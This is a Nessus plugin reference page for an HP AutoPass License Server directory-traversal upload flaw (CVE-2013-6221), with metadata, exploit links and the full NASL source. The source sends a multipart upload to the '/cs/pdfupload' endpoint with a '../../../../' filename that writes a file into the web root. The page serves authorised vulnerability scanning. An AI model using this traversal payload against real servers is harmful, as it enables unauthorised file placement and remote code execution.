HP AutoPass License Server Remote Code Execution (HPSBMU03045) - Nessus

Critical   Plugin ID: 76284

This page contains detailed information about the HP AutoPass License Server Remote Code Execution (HPSBMU03045) Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Plugin Overview


ID: 76284
Name: HP AutoPass License Server Remote Code Execution (HPSBMU03045)
Filename: hp_autopass_hpsbmu03045.nasl
Vulnerability Published: 2014-06-10
This Plugin Published: 2014-06-27
Last Modification Time: 2021-01-19
Plugin Version: 1.8
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: hp_autopass_detect.nbin
Required KB Items [?]: www/hp_autopass

Vulnerability Information


Severity: Critical
Vulnerability Published: 2014-06-10
Patch Published: 2014-06-10
CVE [?]: CVE-2013-6221
CPE [?]: x-cpe:/a:hp:autopass_license_server

Synopsis

The remote host is affected by a remote code execution vulnerability.

Description

The HP AutoPass License Server has a flaw in the 'CommunicationServlet' that allows a remote, unauthenticated attackers to place files at arbitrary locations on the system by utilizing a directory traversal string. A remote attacker could use this issue to execute arbitrary code with 'SYSTEM' privileges.

Solution

Apply the appropriate patch per the vendor's advisory.

Public Exploits


Target Network Port(s): 5814
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, Core Impact)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the HP AutoPass License Server Remote Code Execution (HPSBMU03045) vulnerability:

  1. Metasploit: exploit/windows/http/hp_autopass_license_traversal
    [HP AutoPass License Server File Upload]
  2. Exploit-DB: exploits/java/remote/33891.rb
    [EDB-33891: HP AutoPass License Server - Arbitrary File Upload (Metasploit)]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:OF/RC:C
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:8.3 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.3 (High)

Go back to menu.

Plugin Source


This is the hp_autopass_hpsbmu03045.nasl nessus plugin source code. This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(76284);
  script_version("1.8");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_cve_id("CVE-2013-6221");
  script_bugtraq_id(67989);
  script_xref(name:"HP", value:"HPSBMU03045");

  script_name(english:"HP AutoPass License Server Remote Code Execution (HPSBMU03045)");
  script_summary(english:"Tries to exploit directory traversal vulnerability");

  script_set_attribute(attribute:"synopsis", value:"The remote host is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The HP AutoPass License Server has a flaw in the
'CommunicationServlet' that allows a remote, unauthenticated attackers
to place files at arbitrary locations on the system by utilizing a
directory traversal string. A remote attacker could use this issue to
execute arbitrary code with 'SYSTEM' privileges.");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-14-195/");
  # https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-c04333125
  script_set_attribute(attribute:"see_also",value:"http://www.nessus.org/u?41f0a021");
  script_set_attribute(attribute:"solution", value:"Apply the appropriate patch per the vendor's advisory.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'HP AutoPass License Server File Upload');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2014/06/10");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/06/10");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/06/27");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:hp:autopass_license_server");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_DESTRUCTIVE_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("hp_autopass_detect.nbin");
  script_require_keys("www/hp_autopass");
  script_require_ports("Services/www", 5814);

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");

appname = 'HP AutoPass License Server';

port = get_http_port(default:5814);

install = get_install_from_kb(
  appname      : "hp_autopass",
  port         : port,
  exit_on_fail : TRUE
);

dir = install['dir'];

bound = rand_str();
boundary = "--" + bound;

file_content = unixtime() + '\n' + SCRIPT_NAME + '\n' + rand_str();

# we can keep the filename constant to avoid filling the entire directory with junk files
# if the file already exists, it will be overwritten with unique content, so we won't flag
# previously vuln, but fixed installs
filename = hexstr(MD5(SCRIPT_NAME)) + '.txt';

postdata =
  boundary + '\r\n' +
  'Content-Disposition: form-data; name="binaryFile";' +
  'filename="../../../../HP AutoPass License Server/HP AutoPass License Server/webapps/autopass/css/' + filename + '"\r\n' +
  'Content-Type: text/plain\r\n' +
  'Content-Transfer-Encoding: binary\r\n' +
  '\r\n' +
  file_content +
  '\r\n' + boundary + '--\r\n';

res = http_send_recv3(
  method    : "POST",
  item      : dir + "/cs/pdfupload",
  data      : postdata,
  add_headers:
    make_array("Content-Type",
    "multipart/form-data; boundary=" + bound),
  port         : port,
  exit_on_fail : TRUE
);

res = http_send_recv3(
  method       : "GET",
  item         : dir + "/css/" + filename,
  port         : port,
  exit_on_fail : TRUE
);

if (res[2] == file_content)
{
  if (report_verbosity > 0)
  {
    report =
      '\n' + 'Nessus was able to exploit the vulnerability with the following' +
      '\n' + 'request :' +
      '\n' +
      '\n' + chomp(http_last_sent_request()) + 
      '\n' +
      '\n' + 'Nessus was able to place the following file on the server. Please' +
      '\n' + 'delete this file as soon as possible :' +
      '\n' +
      '\n' + build_url(port:port, qs:dir + '/css/' + filename) + 
      '\n';
      security_hole(port:port, extra:report);
  }
  else security_hole(port);
  exit(0);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, build_url(port:port, qs:dir));

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/hp_autopass_hpsbmu03045.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\hp_autopass_hpsbmu03045.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/hp_autopass_hpsbmu03045.nasl

Go back to menu.

How to Run


Here is how to run the HP AutoPass License Server Remote Code Execution (HPSBMU03045) as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select HP AutoPass License Server Remote Code Execution (HPSBMU03045) plugin ID 76284.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl hp_autopass_hpsbmu03045.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a hp_autopass_hpsbmu03045.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - hp_autopass_hpsbmu03045.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state hp_autopass_hpsbmu03045.nasl -t <IP/HOST>

Go back to menu.

References


BID | SecurityFocus Bugtraq ID: Hewlett Packard Security:
  • HPSBMU03045
See also: Similar and related Nessus plugins:
  • 57700 - HP Managed Printing Administration < 2.6.4 Multiple Vulnerabilities
  • 57701 - HP Managed Printing Administration jobDelivery Script Directory Traversal (intrusive check)
  • 93844 - HP Network Automation RMI Registry Java Object Deserialization RCE
  • 76776 - HP OneView < 1.10 OpenSSL Multiple Vulnerabilities (HPSBGN03068)
  • 43155 - HP OpenView Network Node Manager Multiple Scripts hostname Parameter Remote Command Execution
  • 51850 - HP OpenView Performance Insight Server Backdoor Account
  • 90099 - HP Operations Orchestration 10.x < 10.51 Java Object Deserialization RCE
  • 44109 - HP Power Manager < 4.2.10
  • 62099 - HP SiteScope getFileInternal Arbitrary File Download
  • 101299 - HP SiteScope Multiple Vulnerabilities (HPESBGN03763)
  • 69195 - HP SiteScope Multiple Unspecified Remote Code Execution Vulnerabilities
  • 79719 - HP SiteScope SSLv3 Padding Oracle On Downgraded Legacy Encryption Vulnerability (POODLE)
  • 69983 - HP SiteScope SOAP Call runOMAgentCommand SOAP Request Arbitrary Remote Code Execution
  • 76769 - HP Smart Update Manager 6.x < 6.4.1 Multiple Vulnerabilities
  • 81917 - HP Universal Configuration Management Database Server Authentication Bypass
  • 102803 - HP iLO 4 <= 2.52 RCE
  • 140770 - HP iLO 3 < 1.93 / HP iLO 4 < 2.75 / HP iLO Superdome 4 < 1.64 / HP iLO 5 < 2.18 / HP Moonshot/Edgeline iLO 5 < 2.30 Ripple20 Multiple vulnerabilities
  • 29249 - HP OpenView Network Node Manager Multiple CGI Remote Overflows
  • 19555 - HP OpenView Network Node Manager Multiple Scripts Remote Command Execution
  • 51645 - HP OpenView Network Node Manager Remote Execution of Arbitrary Code (HPSBMA02621 SSRT100352)
  • 35657 - HP OpenView Network Node Manager webappmon.exe Command Injection (c01661610)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file hp_autopass_hpsbmu03045.nasl version 1.8. For more plugins, visit the Nessus Plugin Library.

Go back to menu.